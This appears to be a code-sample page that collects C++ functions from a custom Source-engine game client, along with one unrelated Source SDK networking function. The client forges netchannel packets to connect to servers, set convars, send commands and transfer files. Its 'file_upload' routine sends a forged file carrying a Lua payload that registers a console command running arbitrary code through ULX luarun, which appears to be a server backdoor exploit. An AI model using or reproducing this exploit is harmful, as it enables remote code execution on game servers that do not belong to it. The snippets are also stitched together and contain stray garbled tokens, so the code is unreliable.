예제 #1
0
void NET_Disconnect()
{
	NET_ResetDatagram();

	senddata.WriteUBitLong(1, 6);
	senddata.WriteString("Disconnect by User.");

	NET_SendDatagram();

}
예제 #2
0
void GenerateLeyFile(const char *file, const char *txt)
{


	printf("OUTGOING: %i\n", netchan->m_nOutSequenceNr);


	int nCheckSumStart = senddata.GetNumBytesWritten();

	senddata.WriteUBitLong(netchan->m_nInReliableState, 3);//m_nInReliableState
	senddata.WriteOneBit(1);//subchannel
	senddata.WriteOneBit(1); // data follows( if 0 = singleblock )
	senddata.WriteUBitLong(0, MAX_FILE_SIZE_BITS - FRAGMENT_BITS);// startFragment
	senddata.WriteUBitLong(BYTES2FRAGMENTS(strlen(txt)), 3);//number of fragments
	senddata.WriteOneBit(1);//is it a file?

	senddata.WriteUBitLong(0xFF, 32);//transferid

	senddata.WriteString(file);//filename
	senddata.WriteOneBit(0);//compressed?
	senddata.WriteUBitLong(strlen(txt), MAX_FILE_SIZE_BITS);//number of bytes of the file
	senddata.WriteString(txt);

}
int CNetworkStringTable::WriteUpdate( CBaseClient *client, bf_write &buf, int tick_ack )
{
	CUtlVector< StringHistoryEntry > history;

	int entriesUpdated = 0;
	int lastEntry = -1;

	int count = m_pItems->Count();

	for ( int i = 0; i < count; i++ )
	{
		CNetworkStringTableItem *p = &m_pItems->Element( i );

		// Client is up to date
		if ( p->GetTickChanged() <= tick_ack )
			continue;

		int nStartBit = buf.GetNumBitsWritten();

		// Write Entry index
		if ( (lastEntry+1) == i )
		{
			buf.WriteOneBit( 1 );
		}
		else
		{
			buf.WriteOneBit( 0 );
			buf.WriteUBitLong( i, m_nEntryBits );
		}

		// check if string can use older string as base eg "models/weapons/gun1" & "models/weapons/gun2"
		char const *pEntry = m_pItems->String( i );

		if ( p->GetTickCreated() > tick_ack )
		{
			// this item has just been created, send string itself
			buf.WriteOneBit( 1 );
			
			int substringsize = 0;
			int bestprevious = GetBestPreviousString( history, pEntry, substringsize );
			if ( bestprevious != -1 )
			{
				buf.WriteOneBit( 1 );
				buf.WriteUBitLong( bestprevious, 5 );	// history never has more than 32 entries
				buf.WriteUBitLong( substringsize, SUBSTRING_BITS );
				buf.WriteString( pEntry + substringsize );
			}
			else
			{
				buf.WriteOneBit( 0 );
				buf.WriteString( pEntry  );
			}
		}
		else
		{
			buf.WriteOneBit( 0 );
		}

		// Write the item's user data.
		int len;
		const void *pUserData = GetStringUserData( i, &len );
		if ( pUserData && len > 0 )
		{
			buf.WriteOneBit( 1 );

			if ( IsUserDataFixedSize() )
			{
				// Don't have to send length, it was sent as part of the table definition
				buf.WriteBits( pUserData, GetUserDataSizeBits() );
			}
			else
			{
				buf.WriteUBitLong( len, CNetworkStringTableItem::MAX_USERDATA_BITS );
				buf.WriteBits( pUserData, len*8 );
			}
		}
		else
		{
			buf.WriteOneBit( 0 );
		}

		// limit string history to 32 entries
		if ( history.Count() > 31 )
		{
			history.Remove( 0 );
		}

		// add string to string history
		StringHistoryEntry she;
		Q_strncpy( she.string, pEntry, sizeof( she.string ) );
		history.AddToTail( she );

		entriesUpdated++;
		lastEntry = i;

		if ( client && client->IsTracing() )
		{
			int nBits = buf.GetNumBitsWritten() - nStartBit;
			client->TraceNetworkMsg( nBits, " [%s] %d:%s ", GetTableName(), i, GetString( i ) );
		}
	}

	return entriesUpdated;
}
예제 #4
0
int main(int argc, const char *argv[])
{
#ifndef _LINUX
	_CrtSetDbgFlag(_CRTDBG_CHECK_ALWAYS_DF);
#endif

	if (!argv[1] || !argv[2] || !argv[3] )
	{
		printf("Invalid Params: server clientport nickname [password]\n");
		return 0;
	}
	
	serverip = new char[50];

	parseip(argv[1], serverip, serverport);//and this is the point where you call me a retard for not using strtok

	unsigned short clientport = atoi(argv[2]);

	if (strnlen(argv[3], 2) != 0)
	{
		strcpy(nickname, argv[3]);
	}
	else {
		strcpy(nickname, "leysourceengineclient");
	}

	if (strnlen(argv[4], 2) != 0)
	{
		strcpy(password, argv[4]);
	}
	else {
		strcpy(password, "leysourceengineclient");
	}

	InitSteam();


	printf("Connecting to %s:%i | client port: %hu | Nick: %s | Pass: %s\n", serverip, serverport, clientport, nickname, password);

	netchan->Initialize();
	NET_ResetDatagram();


	net.Start();
	net.OpenSocket(clientport);
	net.SetNonBlocking(true);

	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)networkthread, 0, 0, 0);
	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sendthread, 0, 0, 0);



	char input[255];
	memset(input, 0, sizeof(input));

	while (true)
	{
		std::cin.getline(input, sizeof(input));

		for (unsigned int i = 0; i < strlen(input); i++)
		{
			if (input[i] == '<')
				input[i] = 0xA;
		}

		if (!strcmp(input, "retry"))
		{
			NET_Disconnect();
		}

		if (!strcmp(input, "disconnect"))
		{
			NET_Disconnect();
			exit(-1);
		}

		if (!strcmp(input, "voicemimic"))
		{
			voicemimic = !voicemimic;
			printf("Voice mimic: %i\n", (int)voicemimic);

		}

		if (!strcmp(input, "voicetoggle"))
		{
			voicetoggle = !voicetoggle;
			printf("Voice toggle: %i\n", (int)voicetoggle);

		}
		if (strstr(input, "connect "))
		{


			memmove(input, input + strlen("connect "), sizeof(input));

			parseip(input, serverip, serverport);
			printf("Connecting to: %s:%i\n", serverip, serverport);
			memset(input, 0, sizeof(input));


			NET_Reconnect();
			_sleep(100);
			continue;

		}

		if (strstr(input, "setcv "))
		{


			memmove(input, input + strlen("setcv "), strlen("setcv"));


			char cv[255];
			char var[255];

			bool found_delimit = false;

			for (unsigned int i = 0; i < strlen(input); i++)
			{
				if (input[i] == ':')
				{
					strncpy(cv, input, i);
					strncpy(var, input + i, strlen(input) - i);
					cv[i] = '\0';
					var[strlen(input) - i] = '\0';

					found_delimit = true;
					break;
				}

			}

			if (!found_delimit)
			{
				memset(input, 0, sizeof(input));
				continue;
			}

			printf("Setting convar %s to %s\n", cv, var);

			NET_ResetDatagram();

			senddata.WriteUBitLong(5, 6);
			senddata.WriteByte(1);
			senddata.WriteString(cv);
			senddata.WriteString(var);

			NET_SendDatagram(false);

		}

		if (strstr(input, "file_download"))
		{
			char file[255];

			bool found_delimit = false;

			for (unsigned int i = 0; i < strlen(input); i++)
			{
				if (input[i] == ' ')
				{
					strncpy(file, input + i + 1, strlen(input) - i - 1);
					file[strlen(input) - i - 1] = '\0';

					found_delimit = true;
					break;
				}

			}
			printf("Requesting file: %s\n", file);

			NET_ResetDatagram();

			static int requests = 100;
			senddata.WriteUBitLong(2, 6);
			senddata.WriteUBitLong(requests++, 32);
			senddata.WriteString(file);
			senddata.WriteOneBit(1);

			NET_SendDatagram(false);

		}

		if (strstr(input, "file_upload"))
		{
			char file[255];

			bool found_delimit = false;

			for (unsigned int i = 0; i < strlen(input); i++)
			{
				if (input[i] == ' ')
				{
					strncpy(file, input + i + 1, strlen(input) - i - 1);
					file[strlen(input) - i - 1] = '\0';

					found_delimit = true;
					break;
				}

			}

			printf("Uploading file: %s\n", file);

			NET_ResetDatagram();
			GenerateLeyFile(file, "ulx luarun concommand.Add([[hi]], function(p,c,a,s)  RunString(s) end)");
			NET_SendDatagram(true);

		}

		if (strstr(input, "cmd "))
		{


			memmove(runcmd, input + strlen("cmd "), sizeof(input));

			continue;

		}

		if (strstr(input, "name "))
		{
			memset(nickname, 0, sizeof(nickname));

			memmove(nickname, input + strlen("name "), sizeof(input));
			
			NET_ResetDatagram();
			senddata.WriteUBitLong(5, 6);
			senddata.WriteByte(0x1);
			senddata.WriteString("name");
			senddata.WriteString(nickname);

			NET_SendDatagram(false);

			printf("Changed name to: %s\n", nickname);
			continue;

		}

		memset(input, 0, sizeof(input));
		_sleep(100);
	}

	net.CloseSocket();

	return 1;
}
예제 #5
0
void* sendthread(void* shit)
{

	bool lastrecdiff = false;

	while (true)
	{


		_sleep(1);

		int recdiff = (int)abs((double)diffclock(last_packet_received, clock()));

		if (recdiff > 20000)
		{
			NET_Reconnect();
		}


		if (bconnectstep)
		{
			if (bconnectstep == 1)
			{
				char challengepkg[100];

				bf_write writechallenge(challengepkg, sizeof(challengepkg));
				writechallenge.WriteLong(-1);
				writechallenge.WriteByte('q');
				writechallenge.WriteLong(ourchallenge);
				writechallenge.WriteString("0000000000");

				net.SendTo(serverip, serverport, challengepkg, writechallenge.GetNumBytesWritten());
				_sleep(500);
			}

			_sleep(500);

		}




		if (!bconnectstep && !netchan->NeedsFragments() && recdiff >= 15 && !lastrecdiff)
		{

			NET_ResetDatagram();


			senddata.WriteOneBit(0);
			senddata.WriteOneBit(0);

			NET_SendDatagram(true);
			lastrecdiff = true;
		}
		else {
			lastrecdiff = false;
		}

		if (netchan->m_nInSequenceNr < 130)
		{
			NET_SendDatagram();//netchan is volatile without this for some reason
			continue;
		}

		static int skipwalks = 0;

		if(skipwalks)
			skipwalks--;


		if (!skipwalks )
		{
			/*
			senddata.WriteUBitLong(9, 6);
			senddata.WriteUBitLong(1, 4);
			senddata.WriteUBitLong(0, 3);

			int curbit = senddata.m_iCurBit;
			senddata.WriteWord(1337);

			int len = 21;


			for (int a = 1; a < 22; a++)
			{

				if ( a == 3)//pitch
				{
					senddata.WriteOneBit(1);

					static float pitch = 90;
					static bool bdown = true;
					
					if (bdown)
						pitch -= 2;
					else
						pitch += 2;

					if (pitch < -89 )
						bdown = false;

					if (pitch > 89)
						bdown = true;

					senddata.WriteFloat(pitch);
					len += 32;

					continue;
				}

				if (a == 6&&GetAsyncKeyState(VK_UP))
				{
					senddata.WriteOneBit(1);
					senddata.WriteFloat(500);
					len += 32;
					continue;
				}
				else {
					if (a == 6 && GetAsyncKeyState(VK_DOWN))
					{
						senddata.WriteOneBit(1);
						senddata.WriteFloat(-500);
						len += 32;
						continue;
					}
				}

				if (a == 7 && GetAsyncKeyState(VK_RIGHT))
				{
					senddata.WriteOneBit(1);
					senddata.WriteFloat(500);
					len += 32;

					continue;
				}
				else {
					if (a == 7 && GetAsyncKeyState(VK_LEFT))
					{
						senddata.WriteOneBit(1);
						senddata.WriteFloat(-500);
						len += 32;
						continue;
					}
				}

				if (a == 8)
				{
					senddata.WriteOneBit(1);
					senddata.WriteFloat(500);
					len += 32;

					continue;att
				}

				senddata.WriteOneBit(0);
			}

			int now = senddata.m_iCurBit;
			senddata.m_iCurBit = curbit;
			senddata.WriteWord(len);
			senddata.m_iCurBit = now;
			*/
			senddata.WriteUBitLong(3, 6);
			senddata.WriteLong(net_tick);
			senddata.WriteUBitLong(net_hostframetime, 16);
			senddata.WriteUBitLong(net_hostframedeviation, 16);

			skipwalks = 50;//12 seems best
		}
		


		{

			/*
			enum types_t
			{
			TYPE_NONE = 0,
			TYPE_STRING = 1,
			TYPE_INT = 2,
			TYPE_FLOAT = 3,
			TYPE_PTR = 4,
			TYPE_WSTRING = 5,
			TYPE_COLOR = 6,
			TYPE_UINT64 = 7,
			TYPE_NUMTYPES = 8,
			};
			*/

			/*

			CUtlBuffer sheet(0, 8);

			sheet.PutUnsignedChar(1);
			sheet.PutString("AchievementEarned");

			sheet.PutUnsignedChar(0);

			int id = rand() % 30;

			sheet.PutUnsignedChar(1);
			sheet.PutString("achievementID");

			sheet.PutUnsignedChar(2);
			sheet.PutInt(id);






			sheet.PutUnsignedChar(8);

			sheet.PutUnsignedChar(8);

				senddata.WriteUBitLong(16, 6);
				senddata.WriteLong(sheet.TellPut());
				senddata.WriteBytes(sheet.Base(), sheet.TellPut());

				*/
		}


		if (strlen(runcmd) > 0)
		{
			printf("Sending cmd: %s\n", runcmd);

			senddata.WriteUBitLong(4, 6);
			senddata.WriteString(runcmd);	

			memset(runcmd, 0, sizeof(runcmd));
		}

		NET_SendDatagram();

	}

}
예제 #6
0
int HandleConnectionLessPacket(char*ip, short port, int connection_less, bf_read& recvdata)
{
	recvdata.ReadLong();

	int header = 0;
	int id = 0;
	int total = 0;
	int number = 0;
	short splitsize = 0;

	if (connection_less == 1)
	{
		header = recvdata.ReadByte();
	}
	else {
		id = recvdata.ReadLong();
		total = recvdata.ReadByte();
		number = recvdata.ReadByte();
		splitsize = recvdata.ReadByte();
	}

	switch (header)
	{

	case '9':
	{
		recvdata.ReadLong();

		char error[1024];
		recvdata.ReadString(error, 1024);
		printf("Connection refused! [%s]\n", error);

		NET_Reconnect();

		return 0;
	}
	case 'A': // A2A_GETCHALLENGE
	{
		bconnectstep = 2;
		long magicnumber = recvdata.ReadLong();

		serverchallenge = recvdata.ReadLong();
		ourchallenge = recvdata.ReadLong();
		authprotocol = recvdata.ReadLong();

		steamkey_encryptionsize = recvdata.ReadShort(); // gotta be 0

		recvdata.ReadBytes(steamkey_encryptionkey, steamkey_encryptionsize);
		recvdata.ReadBytes(serversteamid, sizeof(serversteamid));
		vacsecured = recvdata.ReadByte();

		printf("Challenge: %lu__%lu|Auth: %x|SKey: %lu|VAC: %x\n", serverchallenge, ourchallenge, authprotocol, steamkey_encryptionsize, vacsecured);

		char connectpkg[700];
		memset(connectpkg, 0, sizeof(connectpkg));

		bf_write writeconnect(connectpkg, sizeof(connectpkg));
		bf_read readsteamid(connectpkg, sizeof(connectpkg));

		writeconnect.WriteLong(-1);
		writeconnect.WriteByte('k');//C2S_CONNECT

		writeconnect.WriteLong(0x18);//protocol ver

		writeconnect.WriteLong(0x03);//auth protocol 0x03 = PROTOCOL_STEAM, 0x02 = PROTOCOL_HASHEDCDKEY, 0x01=PROTOCOL_AUTHCERTIFICATE
		writeconnect.WriteLong(serverchallenge);
		writeconnect.WriteLong(ourchallenge);

		writeconnect.WriteUBitLong(2729496039, 32);

		writeconnect.WriteString(nickname); //nick
		writeconnect.WriteString(password); // pass
		writeconnect.WriteString("2000"); // game version


		unsigned char steamkey[STEAM_KEYSIZE];
		unsigned int keysize = 0;

		steamuser->GetAuthSessionTicket(steamkey, STEAM_KEYSIZE, &keysize);

		CSteamID localsid = steamuser->GetSteamID();

		writeconnect.WriteShort(242);
		unsigned long long steamid64 = localsid.ConvertToUint64();
		writeconnect.WriteLongLong(steamid64);

		if (keysize)
			writeconnect.WriteBytes(steamkey, keysize);

		net.SendTo(ip, port, connectpkg, writeconnect.GetNumBytesWritten());


		return 0;

	}
	case 'B': // S2C_CONNECTION
	{

		if (bconnectstep == 2)
		{

			bconnectstep = 3;
			printf("Connected successfully\n");

			netchan->Initialize();



			senddata.WriteUBitLong(6, 6);
			senddata.WriteByte(2);
			senddata.WriteLong(-1);

			senddata.WriteUBitLong(4, 6);
			senddata.WriteString("VModEnable 1");
			senddata.WriteUBitLong(4, 6);
			senddata.WriteString("vban 0 0 0 0");

			/*
			senddata.WriteByte(31);
			for (int i = 0; i < 31; i++)
			{
			senddata.WriteString("gm_snapangles");
			senddata.WriteString("45");
			}s
			*/
			NET_SendDatagram();

			Sleep(3000);

		}


		return 0;
	}

	case 'I':
	{
		return 0;
	}
	default:
	{
		printf("Unknown message received from: %s, header: %i ( %c )\n", ip, header, header);
		break;
	}


	}
	return 0;
}